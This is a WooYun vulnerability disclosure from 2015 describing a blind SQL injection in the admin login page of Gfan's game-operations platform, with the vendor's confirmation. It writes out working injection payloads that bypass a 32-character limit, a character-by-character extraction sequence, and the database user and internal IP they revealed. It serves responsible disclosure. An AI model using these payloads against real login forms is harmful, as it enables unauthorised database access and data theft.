当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0126382

漏洞标题:2小时血泪注入篇之机锋网核心平台 Puzzle

相关厂商:机锋网

漏洞作者: 黑暗游侠

提交时间:2015-07-13 08:59

修复时间:2015-08-27 09:06

公开时间:2015-08-27 09:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-13: 细节已通知厂商并且等待厂商处理中
2015-07-13: 厂商已经确认,细节仅向厂商公开
2015-07-23: 细节向核心白帽子及相关领域专家公开
2015-08-02: 细节向普通白帽子公开
2015-08-12: 细节向实习白帽子公开
2015-08-27: 细节向公众公开

简要描述:

2小时血泪注入篇之机锋网核心平台 Puzzle

详细说明:

先来看一下时间

67.png


我是3点多的时候发现了这个漏洞的前戏
然后从绕过限制到puzzle trick到整个手工测试的结束,也就是现在天亮了
漏洞存在系统是机锋网的核心游戏运营平台:

http://admin.tsz.gfan.com/login.php


68.png


偶然测试发现用户输入admin admin提示"账号和密码错误"
输入admin'or'1'='1 admin时候提示"密码错误"

又经过反复测试确认了只有账户处存在注入
并且过滤了类似and后面的逻辑,或者运算逻辑配上 "="
而且因为带入数据库查询,但是账号尼玛的竟然限制了长度!2-32位长度!!
关键字也过滤了部分
注释符经过多次测试只有#可以
#######
反复测试,多次测试,反复测试,多次测试
……
……


从3点多到5点半
过程不多描述了如何怎么反复测试最后成功的
直接给出最后的fuzzing poc:

username='or+(select mid(user(),*))>'*'#


如果正确则response返回一个长度,错误则response返回另一长度
前8位比较用技巧get更快

'or+(select user())>'r'#
'or+(select user())>'re'#
'or+(select user())>'rea'#
'or+(select user())>'read'#
'or+(select user())>'reado'#
'or+(select user())>'readon'#
'or+(select user())>'readonl'#
'or+(select user())>'readonly'#


后面因为超出了32位的长度限制
所以用我前面给出的fuzzing poc逐位遍历即可
result:

user:readonly@192.168.200.100
database: tsz_big_db_1

漏洞证明:

看在洞主一宿没睡,如此诚意的测试上,15rank给一个吧,洞主也是经常提交关于机锋的漏洞,只不过这次花的时间最多了,与机锋平台共勉。

修复方案:

版权声明:转载请注明来源 黑暗游侠@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-07-13 09:06

厂商回复:

谢谢您对机锋安全的关注,这个域名以前说明过,服务器不在机锋这边,这是客户的机器,已经通知客户了,谢谢。

最新状态:

暂无